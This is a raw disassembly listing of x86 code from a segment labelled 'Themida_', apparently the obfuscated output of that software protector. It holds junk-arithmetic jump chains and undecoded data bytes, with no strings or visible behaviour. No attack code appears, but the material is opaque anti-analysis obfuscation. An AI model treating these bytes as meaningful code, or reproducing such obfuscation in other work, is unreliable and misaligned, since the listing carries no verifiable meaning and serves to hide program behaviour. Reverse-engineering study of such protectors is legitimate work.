		mov	[esp], edx
		jmp	loc_4F5C1A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0BFB15153h, 807FC980h, 0D9F660F1h, 0D1F6C9FEh, 88D2F180h
		dd 25E959CFh
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FBE93:				; CODE XREF: Themida_:004F3319j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 1CC62A1Fh
		jmp	loc_4F83D0
; ---------------------------------------------------------------------------
		dd 8D5596BBh, 5DEB3146h, 815BD909h, 219A53C1h, 59CD09B4h
		dd 0DDB85051h, 48756923h, 4D35D8F7h, 8986DBF7h,	24048BC1h
		dd 104C483h, 0F58159CDh, 0A6C25A4h, 0FFC8F8E9h,	4C381FFh
		dd 83000000h, 1C3302C3h, 241C3124h, 0FF78C0E9h,	68515CFFh
		dd 53AB506Ah, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_4F9BAD
; ---------------------------------------------------------------------------
		dd 89241489h, 4EC81E2h,	89000000h, 0EC81240Ch, 4, 68241489h
		dd 6F3144FFh, 0FF87CBE9h, 0C2815AFFh, 4, 4C281h, 14870000h
		dd 0A9E95C24h, 83FFFF6Fh, 8AE904C4h, 29000009h,	431E2DD8h
		dd 34FF6089h, 241C8B24h, 0E904C483h, 0FFFF76BFh, 3C8BFB29h
		dd 4C48324h, 0B951C301h, 50F1565Ch, 34FFCB01h, 16E95924h
		dd 29FFFF8Bh, 0F4F3E9F0h, 0C281FFFFh, 43451729h, 0FF833EE9h
		dd 2434FFFFh, 0E3895359h, 4C381h, 16E90000h, 50000018h
		dd 3B6ABF57h, 0FEB8103Ah, 2914E04Dh, 243C8BF8h,	0FFDDB8E9h
		dd 70B050FFh, 0CE0CFF04h, 0E9535166h, 3013h, 0E904C483h
		dd 625h, 8104EDC1h, 0CB6374C5h,	8E5C10Bh, 0C3E9D5F7h, 66FFFFE1h
		dd 50240C8Bh, 2668E089h, 89000029h, 4BE2434h, 2D000000h
		dd 41F64DC9h, 0C905F001h, 8B41F64Dh, 0C4832434h, 0A7B3E904h
		dd 0C981FFFFh, 193E47E0h, 5506E9C1h, 795B82BDh,	0D9BF5753h
		dd 291CBB7Dh, 300E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FC02E:				; CODE XREF: Themida_:004F7590j
		mov	al, 0B2h
		and	dl, al
		pop	eax
		jmp	loc_4F7436
; ---------------------------------------------------------------------------

loc_4FC038:				; CODE XREF: Themida_:004FAEADj
		xchg	ebp, [esp]
		jmp	loc_4FE9EA
; ---------------------------------------------------------------------------
		dd 4F0E23BBh, 5BD92907h, 59CE895Eh, 4247429h, 6E9EE95Eh
		dd 665CFFFFh, 5024048Bh, 405E089h, 0E9000000h, 325Eh, 3E7E95Ah
		dd 0C2810000h, 58E79310h, 0F75AD709h, 0E9DFF7DFh, 0FFFFB748h
		dd 8704EF83h, 895C243Ch, 68241Ch, 5B000000h, 68E468h, 0A3FDE900h
		dd 0B850FFFFh, 567511F0h, 1C21E235h, 7CAFE956h,	45E9FFFFh
		dd 8BFFFF6Eh, 0C483241Ch, 4B8E904h, 4830000h, 5580424h
		dd 4, 0FF84D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FC0C9:				; CODE XREF: Themida_:004FDB91j
		xor	dword ptr [esp], 443617D7h
		pop	ecx
		jmp	loc_4F416E
; ---------------------------------------------------------------------------
		dw 0C480h
		dd 58E6282Fh, 148BF030h, 4C48324h, 2DE4E9h, 67BAB900h
		dd 0D1F7501Fh, 0BEB85049h, 0F75F8C1Ah, 5FE35D8h, 0B8051D7Bh
		dd 2990516Fh, 0C98158C1h, 0C591B35h, 5FF1F181h,	0CA016EDFh
		dd 0E91E9h, 6DD6E900h, 0EC83FFFFh, 24048904h, 0B5240481h
		dd 5D1B8A04h, 4B5ED81h,	31581B8Ah, 2434FFE8h, 0E389535Dh
		dd 2E82E9h, 4216600h, 0A9E99C24h, 89FFFF6Dh, 4C681E6h
		dd 83000000h, 348704C6h, 6C815C24h, 7620424h, 440129FEh
		dd 44810424h, 7620424h,	48B29FEh, 4C48124h, 8B000000h
		dd 0C481240Ch, 4, 0FFA7FAE9h, 0CA015AFFh, 36B95159h, 8135B109h
		dd 4739CE9h, 53BE563Dh,	81071200h, 0E2725ACEh, 0F6814E37h
		dd 107245DEh, 0E95EF129h, 0FFFF9108h, 582434FFh, 68E38953h
		dd 71F2h, 0BD242C89h, 4, 815DEB01h, 4C3h, 2119E900h, 0EA810000h
		dd 1, 1EC0BE56h, 0F229512Dh, 0FF8290E9h, 0FEDDF6FFh, 80D5F6C5h
		dd 0CDFE07EDh, 80A5F580h, 0EDC067F5h, 7E5C006h,	0E953DDF6h
		dd 1701h, 8B2434FFh, 0AE92414h,	0C1FFFFBBh, 0E2C104EAh
		dd 6804h, 2C810000h, 0AC28DE24h, 0BCB0E948h, 5BFFFFh, 0C3305AD0h
		dd 0FF93E2E9h, 0EEE980FFh, 2CAFF180h, 4C82848h,	8520E948h
		dd 49BFFFFFh, 1153113h,	5A2D5FF8h, 291E817Ah, 7A5A05E8h
		dd 492D1E81h, 8B153113h, 0C483242Ch, 5D82904h, 673B1C5Fh
		dd 0E9241C8Bh, 0FFFFA6F1h, 65CFBD66h, 7EBE6656h, 0EE816602h
		dd 816661EAh, 662144C6h, 1BA6652h, 0D6296600h, 66535A66h
		dd 0E919B3BBh, 0FFFFA094h, 68242C89h, 5D34526Dh, 0C5814D5Dh
		dd 27BC2F84h, 0D65EF581h, 0EB89FB91h, 0FF97F4E9h, 815E54FFh
		dd 4C6h, 4EC8300h, 0B9240C89h, 2A76084h, 760B68h, 24348900h
		dd 61DDBD55h, 0ED817789h, 65E006FCh, 0FF95D2E9h, 4C181FFh
		dd 0E9000000h, 0FFFF9A6Ch, 8124048Bh, 4C4h, 241C3300h
		dd 0FF7936E9h, 405FFh, 0E9550000h, 0FFFFEB46h, 0E904EC83h
		dd 0C73h, 80355858h, 55499171h,	0FFC8B7E9h, 654868FFh
		dd 815A2742h, 717AC7F2h, 2936E96Fh, 0C15F0000h,	0ED8106EDh
		dd 0FD6BFC1Bh, 0FF8A2BE9h, 1EE83FFh, 0FFEE39E9h, 0FBE95FFFh
		dd 0BBFFFF91h, 0E823A082h, 0F9E9DF89h, 8300002Eh, 0D82104C4h
		dd 0FF9D63E9h, 4EE948FFh, 53FFFFBBh, 3852BD55h,	35E9796Dh
		dd 0BBFFFFFBh, 0
		dd 0DF87FB29h, 14E7815Bh, 52660244h, 163631BAh,	81D2F761h
		dd 35406BEAh, 5FEA8115h, 3143B485h, 0FE015AD7h,	0FF8280E9h
		dd 243487FFh, 243C895Ch, 2434FF54h, 4C4835Fh, 4C781h, 0BA520000h
		dd 721E32FFh, 0D2E9D2F7h, 52FFFFB1h, 0C5E9E289h, 89FFFFB3h
		dd 68682414h, 89000020h, 0DDBF243Ch, 815AF958h,	561460F7h
		dd 0E9FA8948h, 0FFFF744Ah
; ---------------------------------------------------------------------------

loc_4FC3E8:				; CODE XREF: Themida_:004F5DD0j
		push	eax
		mov	eax, 5D281E82h
		xor	eax, 449B4096h
		xor	eax, 345B5267h
		jmp	loc_4F3CF2
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 3Fh
		dd 29433A1Fh, 0E4E0E9EFh, 0AA68FFFFh, 89000019h, 91E9243Ch
		dd 89FFFFCAh, 240C8BCAh, 0E9CDE956h, 5358FFFFh,	1D3F2568h
		dd 0DBF75B2Eh, 0DE0E9h,	30895A00h, 5E2434FFh, 0FFF443E9h
		dd 50C831FFh, 7827E953h, 875DFFFFh, 22E92414h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FC44F:				; CODE XREF: Themida_:004F56CEj
		dec	ecx
		jmp	loc_4F8CD1
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0DFh
		dd 4A3D5B76h, 0D2BEA81h, 3CE92F21h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FC467:				; CODE XREF: Themida_:004FE4A4j
		push	ebp
		jmp	loc_4F97B2
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 0E9h
		dd 2631h
; ---------------------------------------------------------------------------

loc_4FC474:				; CODE XREF: Themida_:004FBCECj
		push	edx
		mov	dl, 45h
		jmp	loc_4FBA78
; ---------------------------------------------------------------------------
		dd 31240433h, 5DE92404h, 81FFFFDAh, 210562E5h, 0FE9572Ah
		dd 89FFFFACh, 1EE9240Ch, 0BEFFFF84h, 940DD7h, 2833E9h
		db 0
; ---------------------------------------------------------------------------

loc_4FC4A5:				; CODE XREF: Themida_:004F76F0j
		add	eax, edi
		push	ebp
		mov	ebp, 675C6D4Bh
		jmp	loc_4FB3DE
; ---------------------------------------------------------------------------
		dw 8143h
		dd 6F2E9DC3h, 5BDE310Dh, 0E9DEF746h, 0FFFFF189h, 0E18858B4h
		dd 0B6526658h, 1510E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FC4D2:				; CODE XREF: Themida_:004F526Ej
		push	dword ptr [esp]
		jmp	loc_4FD5C0
; ---------------------------------------------------------------------------
		dw 52B1h
		dd 0F6A0E980h, 72F180D1h, 3059CB00h, 8FC1E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FC4EE:				; CODE XREF: Themida_:004FCFFBj
		push	small 7C1Fh
		mov	[esp], bx
		push	281Ah
		mov	[esp], eax
		push	ebx
		jmp	loc_4F95F2
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 4C481h, 4210000h,	0DDE99C24h, 89FFFF69h
		dd 5CE95FF8h, 0F7FFFFD3h, 27EA81DAh, 1231865h, 4EE95AD3h
		dd 87FFFF8Bh, 895C2404h, 0BF57240Ch, 2E4E6BAFh,	12DD92B9h
		dd 5FF92973h, 495B3F2Dh, 1C90579h, 0D1E90C11h, 56FFFFE8h
		dd 0FD2B80BEh, 5E53562Dh, 1941E95Bh, 0C8000000h, 81240C8Bh
		dd 4C4h, 9FD2E900h, 922CFFFFh, 0FF7794E9h, 4CE95AFFh, 5AFFFFEFh
		dd 0C1A1E950h, 0F587FFFFh, 1244E9h, 68525000h, 178C639Ah
		dd 3FF2815Ah, 512E3627h, 0AAE95952h, 58FFFFB1h,	8001B652h
		dd 0F728CEEFh, 0E9CEC780h, 0FFFF7792h, 0B58AE958h, 0F468FFFFh
		dd 89000006h, 1DE9242Ch, 68FFFFC6h, 6F312C7Dh, 4EC8358h
		dd 0FFA3C2E9h, 0C1815AFFh, 4, 0FF88D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FC5E1:				; CODE XREF: Themida_:004F7B8Aj
		add	ebx, eax
		add	ebx, 1FD6590Fh
		push	53EFh
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		jmp	loc_4FDED4
; ---------------------------------------------------------------------------
		db 68h,	75h, 19h
		dd 0C890000h, 0A8BD5524h, 0B905F071h, 53E6A451h, 415DE929h
		dd 0E9C1D9F7h, 81494903h, 0BEC65CC1h, 59CD01E9h, 4C581h
		dd 0E9550000h, 0FFFF9587h
; ---------------------------------------------------------------------------

loc_4FC62C:				; CODE XREF: Themida_:004FD7F0j
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_4F67CB
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 241C335Ch, 33241C31h, 0F5C241Ch, 0E950C8B7h,	783h, 61E9FE89h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FC65B:				; CODE XREF: Themida_:004F8FFCj
		add	esp, 4
		sub	eax, 63207813h
		sub	eax, 4ABD00FDh
		sub	eax, ecx
		add	eax, 4ABD00FDh
		add	eax, 63207813h
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_4FCC81
; ---------------------------------------------------------------------------

loc_4FC691:				; CODE XREF: Themida_:004F4C16j
		sub	bl, 0BFh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		db 54h
		dd 0F9BA525Fh, 81082F1Eh, 0C16850EAh, 2B86E931h, 0E9810000h
		dd 0E639CD29h, 0FFEB2AE9h, 0DBB951FFh, 0BA5EA548h, 1F72F1A0h
		dd 8DE9CA01h, 0BDFFFF92h, 0ECD724Eh, 0FFEB8AE9h, 24048BFFh
		dd 4C481h, 0D1010000h, 89AE981h, 575A6D7Bh, 0FF86FAE9h
		dd 0EDE950FFh, 29FFFF77h, 7C0AE9F0h, 8146FFFFh,	7938DDF6h
		dd 74C28136h, 1632F70h,	74EA81F2h, 5E632F70h, 0E7895755h
		dd 4C781h, 0EF810000h, 4, 0E9243C87h, 0FFFF923Ch, 6EE98CB2h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FC733:				; CODE XREF: Themida_:004F3550j
		push	298Eh
		jmp	loc_4F5CDB
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 1C2AE9h, 32F6BD00h, 0F7BE7706h, 31770632h, 242C8BEEh
		dd 0FFC3CEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FC759:				; CODE XREF: Themida_:004F4AC6j
		push	esi
		mov	esi, 4E3279ECh
		jmp	loc_4FB73D
; ---------------------------------------------------------------------------
		dd 27A9EB81h, 44E964B2h, 1FFFF7Bh, 0EF215BDDh, 53F7815Dh
		dd 2975A854h, 2434FFF8h, 83243C8Bh, 0C48104C4h,	4, 7DB268h
		dd 242C8900h, 2CF66268h, 99E95D0Bh, 0B4FFFFF0h,	3CF480B9h
		dd 0FE58E628h, 0DA65E9C6h, 685EFFFFh, 2007h, 0E9240C89h
		dd 0FFFFD418h, 7AEB80h,	9CB050C3h, 0E12C7D04h, 0E5E9D8F6h
		dd 0C0000000h, 70E903E6h, 0B8FFFFDEh, 626A7A68h, 0FF05D0F7h
		dd 0C1FFFFFFh, 0D0F705E0h, 24D6E9h, 0B0E95000h,	89FFFF99h
		dd 4C281E2h, 83000000h,	89E904C2h, 52FFFFDEh, 747BE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FC80A:				; CODE XREF: Themida_:004FE280j
		push	edx
		mov	edx, 21F67924h
		sub	eax, edx
		pop	edx
		jmp	loc_4F9E03
; ---------------------------------------------------------------------------
		dd 0C681EE01h, 70D52BB5h, 1CDEC681h, 0EE816911h, 132C5875h
		dd 81242C8Bh, 4C4h, 9FB6800h, 0AAE90000h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FC83F:				; CODE XREF: Themida_:004F3BA2j
		pop	esp
		jmp	loc_4F4541
; ---------------------------------------------------------------------------
		db 0BAh, 0AEh, 43h
		dd 0EAC1288Eh, 0ADE94A05h, 0E9FFFF8Dh, 0FFFF669Ch, 0E9241489h
		dd 0FFFFDC02h, 5C24048Fh, 0E9F1F766h, 0FFFF7FC2h
; ---------------------------------------------------------------------------

loc_4FC86C:				; CODE XREF: Themida_:004F80D8j
		push	dword ptr [esp]
		jmp	loc_4F387C
; ---------------------------------------------------------------------------
		dd 0D8288C2Ch, 0EC818C04h, 4, 0B5240C89h, 52DDF6B3h, 0E3E92BB2h
		dd 59000011h, 4C181h, 6C680000h, 8900005Eh, 2BA2414h, 81000000h
		dd 0F12124C1h, 11C1815Eh, 0E947E723h, 0FFFFE977h, 0C300B234h
		dd 9B685158h, 8900004Dh, 7DB02404h, 0B353D8F6h,	0E9D828E9h
		dd 1C8Dh, 0ADE9D589h, 59000011h, 0FFAE39E9h, 2BB53FFh
		dd 81000000h, 535774EFh, 81DF0106h, 535774C7h, 0FF575B06h
		dd 5F042474h, 0FF81CEE9h, 5E8D1FFh, 178041D8h, 0CD137F0Dh
		dd 13FB2D5Dh, 0EA815FFDh, 9FD4E68h, 0C281C201h,	9FD4E68h
		dd 4C28358h, 6E9168h, 24148900h, 42474FFh, 5A2434FFh, 8F04C483h
		dd 0E95C2404h, 0FFFF65B8h, 24048B66h, 5E08950h,	4, 4BD55h
		dd 0E8290000h, 81242C8Bh, 4C4h,	74FF5000h, 8F580424h, 895C2404h
		dd 0E389241Ch, 0FCB95155h, 0E93C5222h, 0FFFFF2C7h, 8124148Bh
		dd 4C4h, 66E0E900h, 0F74EFFFFh,	0CAE956D6h, 83FFFF79h
		dd 0FF5002C0h, 0E9042474h, 0FFFFE347h, 0A21E958h, 0EB800000h
		dd 0C0B60F4Eh, 0E987048Fh, 0FFFF6548h, 7D52E181h, 0F18143D5h
		dd 6E2C4425h, 1115C981h, 0E981050Bh, 18D41515h,	5F59CA29h
		dd 54F6C281h, 0C281192Eh, 5A90783h, 0FF7841E9h,	0A9E952FFh
		dd 80FFFFA4h, 506648F5h, 0E52026B4h, 0F5805866h, 5FB25282h
		dd 148BD530h, 4C48124h,	0E9000000h, 0FFFF77DEh
; ---------------------------------------------------------------------------

loc_4FCA00:				; CODE XREF: Themida_:004F4854j
		push	104D12CFh
		pop	esi
		sub	esi, 1F2758AAh
		shl	esi, 4
		shr	esi, 2
		add	esi, 0F9E56271h
		xor	ebx, esi
		pop	esi
		jmp	loc_4FB46B
; ---------------------------------------------------------------------------
		dd 0E947B159h, 0FFFFD5DEh
; ---------------------------------------------------------------------------

loc_4FCA28:				; CODE XREF: Themida_:004F488Cj
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_4F76F5
; ---------------------------------------------------------------------------
		dd 495DE929h, 15DBE9h, 4EC8300h, 0BE243489h, 190510E9h
		dd 5756D6F7h, 8324348Bh, 0E7E904C4h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FCA5F:				; CODE XREF: Themida_:004FECBEj
		push	2B8Ah
		mov	[esp], eax
		jmp	loc_4F9B10
; ---------------------------------------------------------------------------
		dd 0D1E9565Ch, 51FFFFA3h, 9739E952h, 6664FFFFh,	71E90289h
		dd 5CFFFF64h, 9CC88566h, 0FFA971E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FCA8D:				; CODE XREF: Themida_:004F7711j
		mov	edi, 41272B39h
		add	edi, 0BED8D4CBh
		add	esi, edi
		jmp	loc_4F3891
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 4C38104h, 0E9000000h, 0FFFFBE49h, 0E780F4B7h
		dd 84C1E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FCABA:				; CODE XREF: Themida_:004FB7ECj
		not	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_4F4311
; ---------------------------------------------------------------------------
		dd 0FF642BE9h, 2474FFFFh, 0BC01E904h, 0E95BFFFFh, 0FFFF784Bh
		dd 348BF501h, 4C48324h,	0FFFAD5E9h, 2434FFFFh, 0FF2434FFh
		dd 41E92434h, 0F7FFFFC6h, 19C70DD8h, 6E0570BDh,	211BD180h
		dd 91E958C5h, 80FFFF73h, 0EC28AFC5h, 0C950E959h, 0E950FFFFh
		dd 0FFFFFCBFh, 8F665Eh,	0FF63D3E9h, 2BA52FFh, 0E9000000h
		dd 0EF3h
; ---------------------------------------------------------------------------

loc_4FCB2C:				; CODE XREF: Themida_:004FCC8Fj
		push	edi
		mov	edi, 0BE02164h
		mov	ebx, 0DE77672Dh
		xor	ebx, edi
		pop	edi
		add	ebx, eax
		jmp	loc_4F6810
; ---------------------------------------------------------------------------

loc_4FCB41:				; CODE XREF: Themida_:004FB686j
		add	edx, 70C6743Dh
		pop	edi
		jmp	loc_4FAC4F
; ---------------------------------------------------------------------------

loc_4FCB4D:				; CODE XREF: Themida_:004F71ADj
		pop	esp
		push	113Ch
		mov	[esp], ebp
		mov	ebp, 755903E2h
		or	ebp, 766F1FE1h
		sub	ebp, 1
		dec	ebp
		push	esi
		jmp	loc_4F6156
; ---------------------------------------------------------------------------

loc_4FCB6E:				; CODE XREF: Themida_:004FAB3Cj
		xor	esi, 772B2468h
		sub	esi, 0F38BC69Bh
		sub	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_4F93F6
; ---------------------------------------------------------------------------
		dd 0EA80CA00h, 0D0005980h, 0FCDEE95Ah, 875EFFFFh, 248B243Ch
		dd 8BC82124h, 0C481240Ch, 4, 0E2D1C209h, 8904EC83h, 0E6892434h
		dd 4BA52h, 0D6010000h, 9646E95Ah, 6866FFFFh, 896669A9h
		dd 50662414h, 6322E99Ch, 0CF81FFFFh, 5FEB2FE9h,	8102E7C1h
		dd 0C5ECFCF7h, 5FFB8987h, 4245C29h, 6306E95Bh, 895DFFFFh
		dd 0D7015EF2h, 5FFE015Ah, 4C681h, 34870000h, 89575C24h
		dd 0AD71E9E7h, 0F75FFFFFh, 8565E9D8h, 8951FFFFh, 521E9E1h
		dd 0F7810000h, 0C69DAAC2h, 4287EB81h, 1DE930C9h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4FCC2B:				; CODE XREF: Themida_:004F5633j
		sub	bl, al
		push	dx
		mov	dl, 53h
		sub	bl, dl
		jmp	loc_4F9308
; ---------------------------------------------------------------------------

loc_4FCC38:				; CODE XREF: Themida_:004F4CB1j
		pop	esi
		pop	ecx
		sub	eax, edi
		sub	eax, 31F77772h
		pop	edi
		jmp	loc_4F705E
; ---------------------------------------------------------------------------
		db 54h
		dd 4EC8159h, 89000000h,	0B5B82404h, 0E94E7A5Eh,	0FFFF6400h
		dd 263E02BDh, 0F8CE94Eh, 0D0210000h, 5A2434FFh,	4C481h
		dd 60E90000h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FCC77:				; CODE XREF: Themida_:004FB8E8j
		add	esp, 4
		xor	al, dl
		jmp	loc_4FADDA
; ---------------------------------------------------------------------------

loc_4FCC81:				; CODE XREF: Themida_:004FC68Cj
		push	esi
		mov	esi, 6398179Ah
		push	ecx
		push	ebx
		push	eax
		mov	eax, 2AEB2898h
		jmp	loc_4FCB2C
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 50241489h, 0FFE068E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FCCA9:				; CODE XREF: Themida_:004F4805j
		push	ecx
		mov	ecx, 1C4C433Ch
		push	ecx
		jmp	loc_4F783F
; ---------------------------------------------------------------------------

loc_4FCCB5:				; CODE XREF: Themida_:004F2F7Bj
		mov	ecx, eax
		pop	eax
		jmp	loc_4F4FB4
; ---------------------------------------------------------------------------
		db 52h,	8Bh, 34h
		dd 4C48124h, 0E9000000h, 0FFFFF765h, 709FB850h,	0C5894737h
		dd 79CD8158h, 0E91CF90Fh, 1C48h
; ---------------------------------------------------------------------------

loc_4FCCE0:				; CODE XREF: Themida_:004FE00Bj
		mov	[esp], ebp
		mov	ebp, 48CA4E24h
		push	ecx
		push	esi
		mov	esi, 67A2450h
		or	esi, 2B0E267Eh
		inc	esi
		and	esi, 47EB5310h
		xor	esi, 42E87DE7h
		jmp	loc_4F358F
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFCE10E9h, 4C481FFh, 50000000h, 0BF575854h,	729E4E47h
		dd 0FFC8B5E9h, 0CC6850FFh, 8B004166h, 0C4812404h, 4, 0FA793F2Dh
		dd 12770574h, 0C68974B9h, 5EF02958h, 31240433h,	4332404h
		dd 0C895C24h, 30BB5324h, 4B4A770Ah, 2379F381h, 34E90130h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4FCD5F:				; CODE XREF: Themida_:004F893Dj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_4F7745
; ---------------------------------------------------------------------------
		db 0E9h, 82h, 61h
		dd 0EC83FFFFh, 24348904h, 2BEh,	0F1895100h, 0F1E9CA89h
		dd 5D000022h, 4375305h,	0E9F82913h, 17DCh, 57E38953h, 0E50254BFh
		dd 6CF8106h, 81796A47h,	0EF4752F7h, 5FFB017Fh, 4EC81h
		dd 0D6E90000h, 5A000019h, 810DF681h, 1EE904FBh,	5DFFFFB6h
		dd 0E924048Fh, 0FFFFFCB7h, 15F16856h, 3DE93F2Ch, 81FFFFF0h
		dd 4ECh, 24248900h, 4240483h, 40558h, 0EC830000h, 24348904h
		dd 0FF7D22E9h, 241C8BFFh, 4C481h, 0F1E90000h, 66FFFF60h
		dd 83240C8Bh, 0BCE904ECh, 52000011h, 0C281E289h, 4, 0E904C283h
		dd 0FFFFCF4Ch, 89242C89h, 0E28952E5h, 4C281h, 0EA830000h
		dd 24148704h, 243C895Ch, 1F6DE9h, 242C8B00h, 4EC81h, 95E90000h
		dd 5CFFFF9Dh, 52243489h, 0FFF9F0E9h, 24348BFFh,	104C483h
		dd 5E042474h, 83241C8Bh, 0C38104C4h, 4,	2B951h,	0CB290000h
		dd 0C745E959h, 815DFFFFh, 4C5h,	9919E900h, 0E95CFFFFh
		dd 0FFFF7AF6h, 8904EC83h, 0EBE9241Ch, 0BEFFFF64h, 2ECEB8A3h
		dd 15EF031h, 8AD7E9C6h,	148BFFFFh, 4EC8324h, 0FF6C4BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FCEB1:				; CODE XREF: Themida_:004F8CE7j
		mov	edx, 20h
		add	edx, edi
		xor	dword ptr [edx], 5116AC33h
		pop	edx

loc_4FCEBF:				; CODE XREF: Themida_:004F417Dj
					; Themida_:004FB31Bj
		push	dword ptr [esp]
		jmp	loc_4FD2A4
; ---------------------------------------------------------------------------
		db 1
		dd 34875DEEh, 9D615C24h, 601EE9C3h, 0F120FFFFh,	0FF6314E9h
		dd 75E68FFh, 1C890000h,	420E6824h, 4890000h, 81F0B424h
		dd 4ECh, 240C8900h, 0B168B050h,	58C1282Ah, 8004E9C0h, 0EC80F3F1h
		dd 80CC006Bh, 0C8B6BC4h, 4C48324h, 48BE388h, 4C48324h
		dd 0F5B8E951h, 815DFFFFh, 4C5h,	8601E900h, 481FFFFh, 424h
		dd 6DE95F00h, 0FFFFFF9Dh, 48B2434h, 4C48124h, 68000000h
		dd 5B9Ch, 0E9240C89h, 0FFFFFCF3h, 55F7EB81h, 5CE96E98h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FCF5F:				; CODE XREF: Themida_:004F54C1j
		shl	edi, 5
		xor	edi, 6B8A0FD2h
		and	edi, 7CF362CCh
		jmp	loc_4F5189
; ---------------------------------------------------------------------------

loc_4FCF73:				; CODE XREF: Themida_:004F6B72j
		push	edx
		push	3F4704DAh
		pop	edx
		neg	edx
		not	edx
		jmp	loc_4F8FEF
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB532404h, 53BA4E72h, 5FFCF381h, 0E3C12F8Fh, 81EBD105h
		dd 0FF034CC3h, 5BD889BCh, 501C282Dh, 7988E900h,	0C8BFFFFh
		dd 4C48324h, 5C241487h,	4EC81h,	4890000h, 56E08924h, 2C31DDBEh
		dd 0BC8DE927h, 0EC83FFFFh, 24348904h, 2434FF54h, 0E089505Eh
		dd 0FF8177E9h, 1C77FFFFh, 0D259669Dh, 0E99C241Ch, 0FFFF5F08h
; ---------------------------------------------------------------------------

loc_4FCFEC:				; CODE XREF: Themida_:004F7E47j
		mov	cl, 96h
		sub	dl, cl
		pop	cx
		push	eax
		mov	al, 0BEh
		add	dl, al
		pop	eax
		sub	al, dl
		pop	edx
		jmp	loc_4FC4EE
; ---------------------------------------------------------------------------
		dd 4C481h, 0D8290000h, 0A141112Dh, 225D0532h, 93E97A32h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD017:				; CODE XREF: Themida_:004F7678j
		sub	ecx, 5C9D615Ch
		and	ecx, 6AA74A9Bh
		not	ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 691A2AE5h
		push	edi
		jmp	loc_4F4AB5
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0EE8104C4h, 4, 0FFF354E9h, 0E9C831FFh, 160Ch
; ---------------------------------------------------------------------------

loc_4FD054:				; CODE XREF: Themida_:004F308Dj
		mov	esp, [esp]
		sub	ebx, edx
		mov	edx, [esp]
		jmp	loc_4FA3DE
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 8E068CBDh, 0E5C14D1Eh, 0CD874D08h, 0CD87D1F7h, 4EC81h
		dd 34890000h, 79E95324h, 1FFFFC0h, 0E90388FBh, 858h
; ---------------------------------------------------------------------------

loc_4FD08C:				; CODE XREF: Themida_:004F5197j
		sub	ebp, 3E944EB1h
		pop	edi
		jmp	loc_4F488B
; ---------------------------------------------------------------------------
a_sn		db '_',0Bh,0
		align 2
		dw 5A58h
		dd 0BD68F781h, 0F831DC65h, 8B2434FFh, 0C481243Ch, 4, 81E78957h
		dd 4C7h, 4C78300h, 0FFC564E9h, 82ED81FFh, 5B442E18h, 31242C33h
		dd 2C33242Ch, 4305C24h,	15E99C24h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FD0DF:				; CODE XREF: Themida_:004F7748j
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	al, dl
		jmp	loc_4F3C91
; ---------------------------------------------------------------------------
		db 5Eh
		dd 1DE9D101h, 8FFFFF9Dh, 35682404h, 8900000Bh, 4682434h
		dd 0E9000000h, 0FFFFFD4Dh, 240C8B66h, 4EC81h, 14890000h
		dd 2AEB6824h, 24890000h, 24048324h, 0DA79E904h,	0E954FFFFh
